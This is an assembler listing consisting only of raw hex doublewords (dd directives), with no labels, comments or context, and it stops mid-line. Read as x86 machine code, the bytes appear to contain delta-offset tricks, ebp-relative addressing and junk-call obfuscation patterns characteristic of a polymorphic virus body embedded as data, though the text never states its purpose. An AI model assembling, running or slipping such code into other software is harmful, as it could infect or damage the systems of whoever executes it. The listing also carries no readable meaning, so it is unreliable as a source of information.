247C895Fh, 24448104h, 1D04h, 0C3574700h, 13A289B5h dd 8D5D1177h, 0BD890AB3h, 7FA0185h, 287DB533h, 0B52907FAh dd 7FA2495h, 1099B58Bh, 14E907FAh, 77000000h, 7AE2C96Dh dd 2BAE147Dh, 43015B88h, 0E0DE2CD3h, 8B88E366h, 0FA239DBDh dd 9D8B6007h, 7FA0F79h, 21C1B50Bh, 6E807FAh, 67000000h dd 0C6EBDFA5h, 0D9958B2Fh, 107FA00h, 0FA233585h, 0B58B5B07h dd 7FA298Dh, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 66EE9174h, 5F51F98Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 88C35646h, 0B58BEAD0h dd 7FA18D1h, 0FFF7CCE9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD8BDFC4h, 7FA0D55h dd 0FFABF0Fh, 1B89h, 8D895600h, 7FA1D7Dh, 68F68166h, 9E95F5Eh dd 32000000h, 0D1B450DBh, 0AFA577B7h, 0CEBEC18Bh, 0EB6B2BD7h dd 4, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0CACA761Fh, 51F08B96h, 9E8h, 0C681F200h dd 0A0DA9AD5h, 0F38BAF5Ah, 858D5F5Eh, 7FA0199h, 8E85390h dd 0BB000000h, 12FB4977h, 5146A794h, 505F5F5Eh, 118D8990h dd 6A07FA2Dh, 6E900h, 0AA280000h, 0B9E1E59h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 273A2DC3h, 0BE7907EFh, 7229D46h, 6860Fh, 9D890000h dd 7FA27B1h, 38E8858Dh, 0C08307FEh, 0E7816605h, 60509665h dd 0DE95250h, 34000000h, 0FCF17F8Eh, 0D1FD47A4h, 0BB3473DEh dd 0BF66310Fh, 585A1CF8h, 24048961h, 36AFF0BEh, 8B006A12h dd 0FA2D59B5h, 6A006A07h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 5C0CC350h, 0E995FFF3h dd 8107FA2Bh, 111373EEh, 119D8D0Ah, 6A07FDD7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 74F6C353h, 5E5C89F7h, 0C6818742h, 219D0281h, 5870Fh dd 0A4BE0000h, 0FF56E299h, 55006AD3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E9766282h dd 7, 8087022Fh, 0FF90B1D2h, 0FA104985h, 84DE907h, 0E80000h dd 5D000000h, 38F2ED81h, 6A07FEh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 7C6AE5C3h, 0E3E08104h dd 9589A622h, 7FA16C9h, 719BD81h, 7D007FAh, 860F0000h dd 15Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0E3C35141h, 2FA2CD83h, 0E9808702h, 0Eh, 0D4CB8056h dd 70BB4E91h, 12F810A0h, 9D8B5A43h, 7FA0521h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5C35646h, 0E38159h dd 89000001h, 0FA20CDBDh, 0FDB0B07h, 8A85h, 0BE96000h dd 1000000h, 3B035060h, 0CB48E3A6h, 8D8BF81Ch, 7FA0B89h dd 83616061h, 0FE3778BDh, 840F0007h, 4Bh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 23C35646h, 3285D7E4h dd 0E91D7A82h, 50h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0DDC35343h, 1F48A7B6h, 0C7868D2Eh, 0FE377885h dd 107h, 0DD8D8900h, 0E907FA24h, 18h, 0C7F7BF0Fh, 0FE377885h dd 7, 711DBF00h, 85890C4Eh, 7FA17EDh, 5219D8Dh, 6A07FAh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0CAAF63C3h, 3E17E59h, 0FA272DBDh, 0FF238107h, 60FFFFFEh dd 2D858501h, 0BE807FAh, 76000000h, 9DB26053h, 0ECD77548h dd 0DC800234h, 66615E7Bh, 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 4D026DC3h, 0C3F6229Ah dd 8F840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0D866C357h, 4880Fh dd 0BE660000h, 10E94948h, 0AA000000h, 3EA3C3AAh, 3B29F313h dd 7C47BD64h, 0FF177273h, 0FA10A595h, 85BD8B07h, 8B07FA01h dd 0FA2599BDh, 0FB8B9007h, 0C860F50h, 0F000000h, 68Dh dd 0F525000h, 90585A31h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 6FC35141h, 770545CBh, 8FC1F563h, 25A5BD89h dd 0CCE907FAh, 0F8000003h, 8D0F00B0h, 8, 69852960h, 6107FA08h dd 8F0F70E6h, 0 dd 6A71E4F9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0B107C357h, 0E13C8EB3h, 0BD89EB05h dd 7FA16F9h, 0E9D8B60Fh, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h dd 6BA3F2Dh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 3803C353h, 0E8C1C38Bh dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 4830F4Bh, 66000000h, 66F2C9BEh, 0AE9E2F7h dd 0D000000h, 0EFACF9DAh, 414662B2h, 6AD82BA9h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0A3E9C352h, 8C0F5693h, 0Dh, 8E9h, 76DAC800h, 0DFB8A45Fh dd 66505F84h, 0F93FE8Bh, 88Eh, 0C6815000h, 108E3D4Bh, 0B5FFFC5Eh dd 7FA0719h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0D2C35545h, 0EE97ECBh, 2C000000h, 9C6B8B1Ch, 4477D0CBh dd 76A614B5h, 1995FF53h, 8907FA10h, 0FA07098Dh, 5200B007h dd 20E5B503h, 0E65E07FAh, 6071E470h, 0EB1BD09h, 8D8907FAh dd 7FA076Dh, 0F613C61h, 26283h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0E8F5BDEh dd 77494BB2h, 850F32F7h, 5, 33DE8166h, 0D8B60F9Fh, 6E9h dd 614F6300h, 0BA3999C4h, 6, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0D4C35242h, 0EAA99109h, 0BFC38B27h dd 24F9B874h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 235EC352h, 85015735h dd 7FA2711h, 66F28B66h, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 16058C3h, 10E8BF1Ah dd 8C000000h, 0D5D7F44Dh, 0F66191B1h, 0BCFC297Ah, 0F4CC5BEh dd 680h, 9852900h, 5F07FA22h, 0DF81D82Bh, 4594AA37h, 69958958h dd 2B07FA08h, 70880FD8h, 0E9000001h, 13h, 0F70ADBFCh, 8EA803CFh dd 0E6437EABh, 8FBABF42h, 0B9BAED77h, 7, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CEC35343h, 0AD5CE6B5h dd 0BE664569h, 0C1838F46h, 0FDB50100h, 3B07FA18h, 1C860FD9h dd 0F000001h, 8C66F2B7h, 0AD9D29D9h, 0F07FA0Ch, 0C1F6F7B7h dd 0DB840F04h, 8B000000h, 0FA10F5B5h, 0A595FF07h, 6A07FA10h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0A89AC351h, 0BEDA80BFh, 6A5B9CDBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0B7BBC351h, 8B0F1231h, 1Dh, 0FE860h, 7CA60000h, 0C3479A20h dd 5B2D98AEh, 0B14B5A74h, 0BD03598Fh, 7FA100Dh, 6AC32B61h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 6034C357h, 0F59BD89h, 0E8B307FAh, 1DB58B61h dd 3D07FA26h, 834h, 30860Fh, 8D890000h, 7FA3159h, 4EE9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8B0F5EF2h, 2, 0C08BF78Bh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h, 0BE97E67Eh dd 2FE7810Eh, 8B76C946h, 6AD88BC3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0E2ECC350h dd 534FE57Fh, 39ED646Bh, 0F61BD8Bh, 0AE907FAh, 0C4000000h dd 5C66030Dh, 5812372Dh, 0C585C766h, 1307FA0Ch, 8952B1F1h dd 0FA0D359Dh, 6AC08B07h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 327FC353h, 0BA61ADA4h dd 0BD2B1351h, 7FA2985h, 719BD81h, 7D007FAh, 850F0000h dd 30h, 27A59529h, 85FF07FAh, 7FA0719h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 21C35040h, 0AFDA7364h dd 2F54BE66h, 719B5FFh, 0BF0F07FAh, 1995FFF0h, 6A07FA10h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 5ED7C356h, 0AC94416Bh, 2181BD8Bh, 8D8907FAh dd 7FA1105h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0C6DD09F8h, 9D292FB9h, 7FA2B49h dd 10E8h, 0AE7D6400h, 50B333F2h, 709E15FCh, 896288Dh, 3D95890Dh dd 5E07FA2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0E7C35343h, 279D8529h, 6A07FAh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 6AE6C3h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 7B1BD9C3h, 74EA4466h, 56006A0Bh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 13E95359h, 0C7000000h dd 320C4C75h, 0C4204663h, 830E42Eh, 0A2335317h, 6A4365h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0EF816EC3h, 17673F38h, 0BE66F78Bh, 0D7E93605h, 6AFFFFF7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0C360C355h, 9EFAA4D1h, 8B545A0Fh, 0EBFE8BC1h dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 26BE3A84h, 6A73479Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0C478C357h dd 0B9DFC346h, 2A08BF26h, 858D16FBh, 7FA0199h, 50FEBF0Fh dd 13E8h, 82B24F00h, 1755CCFAh, 0ED2EBF16h, 5EB3012Bh dd 0C3A7876Fh, 6E49B860h, 16BA29C4h, 6109A6F0h, 2404895Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h dd 0BBD3208Bh, 463BE387h, 0E5DBD8Bh, 6A07FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4EC35141h, 84F5BC49h dd 0AFEC00CAh, 0EB83BF1Dh, 6A708Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 33C35040h, 0E543D388h, 7EAC528Bh dd 35B531DEh, 8D07FA1Dh, 0FE434D85h, 0D6816607h, 0C0839CB6h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 8A5BBB87h, 0A202C086h, 9589D11Eh, 7FA0061h dd 1EADBD8Bh, 665307FAh, 0F956DF81h, 0EBE905Eh, 503444C9h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0A188E149h, 1F8B1B0h, 0FA0D059Dh, 0E8006A07h dd 13h, 33DB7313h, 965BD74Ah, 0E266F1A9h, 4CF40401h, 0BE6AD8FDh dd 38764877h, 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8962C357h, 0FA00D9B5h dd 26BF6607h, 0E995FFD4h, 6A07FA2Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0F814C353h dd 0A9519006h, 27DDBD8Bh, 9D8D07FAh, 7FDD711h, 0F7B70FF5h dd 8B66D3FFh, 4985FFF0h, 8907FA10h, 0FA249595h, 5855BE07h dd 0AFE95B8Bh, 0E8000007h, 0 dd 57ED815Dh, 6A07FE43h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 52E9C351h, 19BD8172h dd 0D007FA07h, 0F000007h, 13686h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 4D569CA8h dd 0BFBDE681h, 9D8B3AA6h, 7FA2765h, 29D9B589h, 0E38107FAh dd 100h, 0D9DBD03h, 0DB0B07FAh, 6A850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0F3BCC3h, 40BD83BFh, 7FE41h, 1C840Fh, 0BD890000h, 7FA1D31h dd 63E9h, 0CE900h, 0B6790000h, 0D7A6275Bh, 0BAE3F8E7h dd 85C7CD6Bh, 7FE4140h, 1, 8E950h, 0D31F0000h, 0B2BE7388h dd 0E95E9A1Bh, 34h, 6BD7BF66h, 414085C7h, 7FEh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 2D285AC3h, 0F12C3CEBh, 0FC254EB3h, 27659D8Dh, 6A07FAh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 7E7D34C3h, 35D6573Dh, 9D8D89ACh, 8107FA22h, 0FFFEFF23h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 25B58BFBh, 6607FA28h, 0C3F6DB8Ch, 53840F04h dd 0FF000000h, 0FA10A595h, 3DB58B07h, 8907FA11h, 0FA31898Dh dd 66609007h, 50CCDBBEh, 0F525052h, 0F585A31h, 5A1AB531h dd 0F506158h, 8Bh, 6A9000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0B4EF9EC3h, 4799F781h dd 0E8E97254h, 66000003h, 0B0DB6EBEh, 3DB58900h, 0E607FA2Bh dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 371E40Fh, 0FA2711B5h, 0FF78B07h, 0F38BD8B6h dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0F1BF0FCCh, 8166C38Bh, 0C1138BCEh dd 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 5012FFC3h, 0B52BFAE5h, 7FA29A9h, 6AE2F766h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 666DC351h, 0D82BF08Bh, 0B84FD781h, 89507C13h dd 6A241Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0B9E30DC3h, 66F98AE2h, 0FF147EBFh, 0FA0719B5h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 3893449h, 8BD71302h, 0FA0C95B5h, 0D9B58B07h dd 0FF07FA00h, 0FA101995h, 0F6B70F07h, 6A00B0h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0B0D299C3h, 6A70E618h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 7DAEC355h, 5FAB9520h dd 0E9B7C6C3h, 0Ch, 0DFBF8D11h, 37ACE145h, 8973291Bh, 10E9h dd 9304B00h, 5DC7485h, 2CB156B8h, 25C0DF14h, 6A71E490h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 8BF6C357h, 188A0DD5h, 0F613C57h, 23283h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0D8B60F0Ch, 6BAh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0D1BD0103h dd 8B07FA2Eh, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0E8C1FFACh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0BC6FCD7Eh dd 0AAFB01A3h, 0EE9FCh, 28380000h, 0A68CCE9Bh, 0BCB6107Eh dd 4BCB5538h, 8BE2F766h, 0FA0129BDh, 66D82B07h, 7391C681h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0D82B0C93h, 15D880Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F90AAC3h dd 58Ah, 0C7816600h, 7B98E58h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0FFCC353h dd 0F32AE368h, 666CB196h, 831D95BFh, 0D93B00C1h, 0FD860Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 83E58BC3h, 8BF08B66h, 0FA2AD1B5h, 0D98C6607h dd 0EEE8F781h, 0C1F67668h, 8C840F04h, 0F000000h, 18Eh dd 95FFF500h, 7FA10A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 77C35242h, 0DF31FA99h, 3969E907h, 4195890Fh dd 5B07FA17h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0A2C35343h, 0B9138C91h, 6AC32BB2h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 5EEDC357h dd 343D17E1h, 0F000008h, 686h, 38E9F900h, 8B000000h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 6E32F938h, 519BC322h, 61B58B51h, 5F07FA0Bh, 21BD895Eh dd 6607FA11h, 8B1B47BFh, 23D88BC3h, 0FA30D5BDh, 0D5B58B07h dd 0C707FA2Ah, 0FA052185h, 7C9D7307h, 0B1BD8B55h, 8B07FA0Fh dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 337B3676h, 7C1DA9EAh, 0AE9h, 0F15EBD00h dd 172A9F8Dh, 81ED6945h, 0FA0719BDh, 7D007h, 51850F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 220EC357h, 246C1923h, 0B6D8E904h dd 71985FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F2F669C3h, 0BD8BC56Bh, 7FA1569h dd 719B5FFh, 0BE6607FAh, 95FF3168h, 7FA1019h, 6E4ABF66h dd 0F890F90h, 66000000h, 0E9E58CBEh, 6, 79A60EBh, 8960A07Ah dd 0FA1DADBDh, 0CB48B807h, 0F616B3Ch, 38Eh, 0F9B70F00h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4AC35545h dd 816C2454h, 0C07292B8h, 9E960h, 80630000h, 509EF59Eh dd 89A1EFF1h, 0FA33F18Dh, 29BE6607h, 0BD0161C8h, 7FA1CD5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0FC35646h dd 173B728Fh, 8B15AA6Ch, 0FA17D5B5h, 10E907h, 0C79D0000h dd 8DF4534Ah, 0D090DF64h, 2C04F942h, 6ABEF9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5BF983C3h dd 9CB0320h, 0B5B58B9Eh, 8B07FA01h, 0FA0D69B5h, 10E807h dd 31B70000h, 219A8212h, 494357C0h, 3C4A769Fh, 0D781111Dh dd 53BF447h, 62DBD8Bh, 95F07FAh, 0FA2FA98Dh, 0F871E907h dd 0BD29FFFFh, 7FA160Dh, 14850Fh, 0E8BE0000h, 0E941A5BBh dd 0Ah, 0B748CFB6h, 184A0A94h, 0C18B2317h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B2C35545h, 0B4787401h dd 0F9BF0F53h, 8041BE5Eh, 4EB4082h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 5FC35747h dd 0DA344498h, 25B50B50h, 5F07FA0Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 5FC35747h, 0BEC6FB5Dh, 775444DFh dd 199858Dh, 958907FAh, 7FA1F81h, 0CBF6650h, 2404891Ch dd 4CDBEF81h, 50601597h, 20F5BD8Bh, 0E95A07FAh, 14h, 89021162h dd 0AE9646F1h, 0B8428995h, 0F9A9EE5Dh, 0E9FDCF11h, 1006A61h dd 0FA1C85BDh, 6A006A07h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 7438C352h, 0F82DCF41h dd 0B9C6DD09h, 4CD7858Dh, 0F98B07FEh, 6A05C083h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 89B9C353h, 0FA28699Dh, 0FE8B9007h, 0F88B6650h, 41B52390h dd 6A07FA35h, 0DE816600h, 6A9E49h, 6E8h, 0E1970F00h, 89B36C0Eh dd 0FA2CA9B5h, 0BD8B5F07h, 7FA3189h, 2BE995FFh, 0B58B07FAh dd 7FA1129h, 14618D29h, 9D8D07FAh, 7FDD711h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C6C35646h, 66153067h dd 0FF12F681h, 6AD3FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0A6E9FAC3h, 0F781E5F1h, 29256F0Ch dd 0FA240DBDh, 4985FF07h, 0E807FA10h, 0Fh, 0AB8D4503h dd 0C47B21B7h, 82A1EA9Bh, 60EA3B47h, 0ACD78166h, 0DE81661Eh dd 5E611BA4h, 901E9h, 0E800h, 815D0000h, 0FE4CE1EDh, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0EF61DABh, 9D8959FBh, 7FA1CB9h, 719BD81h, 7D007FAh dd 860F0000h, 159h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0FAC35747h, 8BFE8B49h, 0FA185D9Dh, 50006A07h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 3BBEC9DAh, 814635F6h, 100E3h, 850F00h, 0F000000h, 0DB0BF8BFh dd 9C850Fh, 83F50000h, 0FE4B2FBDh, 840F0007h, 5Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 91C35040h, 424EE637h dd 0E9D07A97h, 0Bh, 0AF8478E4h, 857797A5h, 0E94EFD92h dd 66h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 0F9C35141h, 625019EFh, 73DA5F2Ch, 2F85C770h, 107FE4Bh dd 8B000000h, 30E9FAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0CC7356C3h, 85C7867Ch dd 7FE4B2Fh, 0 dd 80C6CE81h, 9D8D2A9Ch, 7FA185Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0A3C35545h, 2DBD2B48h, 8107FA27h dd 0FFFEFF23h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 383C77D8h, 0DB8C66D5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 8DC35242h dd 45172A9Fh, 0B02CED69h, 14E9D2h, 0D2360000h, 134FA557h dd 0F6F4A6F2h, 30D0CE97h, 0F9CE3EC4h, 0C3F635F8h, 86840F04h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0C48AC350h, 0EE91248h, 8E000000h dd 0F52872CAh, 945ACF78h, 698A042Fh, 0A595FF44h, 6A07FA10h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0C408C353h, 100FB4D6h, 41D78166h, 0EE850A9h dd 0EA000000h, 0E4D9DE77h, 4AEECC25h, 3AFBF184h, 5E9E5h dd 65800000h, 5EF93479h, 1240489h, 0FA0EC1BDh, 3F9E907h dd 5E80000h, 0E5000000h, 27A1C94Ah, 0E900B05Fh, 0Ah, 833C903Bh dd 480B5AB4h, 70E62083h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0E3C35545h, 0B60F71E4h, 0EFBF66D8h, 6BA03h dd 0BD890000h, 7FA1041h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0B11ADBC3h, 8E0FCA28h dd 5, 0D6BF0F60h, 4E8C161h, 5C54DF81h, 0F7661A01h, 53006AE2h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 38AAF125h, 779FD083h, 0F88BCF7Dh, 6AD82Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 660983C3h dd 725F940Ah, 8950FC6Bh, 6A241Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 667ACC3h, 5851B195h dd 0D681665Fh, 0B5FFF9CAh, 7FA0719h, 1059BD01h, 95FF07FAh dd 7FA1019h, 0C800Fh, 860F0000h, 6, 24459589h, 67BE07FAh dd 0B0702EACh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0CE9A0DFh, 9DB58B39h dd 0E607FA2Ah, 830F70h, 0E4000000h, 52006A71h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0BE5CB780h dd 95F51C4h, 830F613Ch, 273h, 2599B531h, 0B60F07FAh, 0E1BD09D8h dd 0BA07FA01h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 4FC35242h, 2C53BE66h, 0CE8h, 0E527B000h, 7134F1A7h dd 25FFCB59h, 0B1B509F5h, 5E07FA1Ch, 6AC38Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0FAB024C3h dd 0F535D12h, 680h, 880F00h, 5F000000h, 4E8C1F5h, 17B1B58Bh dd 0F76607FAh, 0ADB58BE2h, 2B07FA34h, 118D89D8h, 5807FA29h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C35141h dd 8B106531h, 0FA113DB5h, 0FD82B07h, 1AE88h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 9FAE40A4h, 36F1D905h, 0EE8h, 21804C00h, 0A94A45EEh dd 7010E83Dh, 8BD791AFh, 0FA1851BDh, 0B70F5F07h, 2FDE81F3h dd 0B94D56B9h, 7, 151DB58Bh, 0C18307FAh, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 75A2E360h, 1C5BCB9h, 0FA2489BDh, 3BF78B07h, 28860FD9h dd 33000001h, 0FA2BF5BDh, 0D98C6607h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 5C35040h, 9D89A4DCh, 7FA007Dh dd 0F04C1F6h, 0E184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0DAD63271h, 0F88B0034h dd 22159D29h, 95FF07FAh, 7FA10A5h, 0B99D89h, 6A5B07FAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0B37FC353h, 2BBAEEFCh, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0DE8011Bh dd 39000000h, 137A00C8h, 0A345114Fh, 3FB57158h, 0F1BF0F50h dd 343D5E5Eh, 0F000008h, 4986h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9869B60h dd 37h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h dd 4BC35242h, 0B25388B3h, 267DB58Bh, 0C08B07FAh, 0AE9h dd 19082200h, 0C24FEE4Bh, 8B27411Ch, 0E9D88BC3h, 0Bh, 80B471A9h dd 6BF0AAF9h, 0F9DCBD43h, 276585C7h, 0D55707FAh, 1501E68h dd 0FA2C959Dh, 0C08B5F07h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0A9C35040h, 0D375DC04h, 0BF0F603Eh, 65BD89CAh dd 6107FA1Eh, 719BD81h, 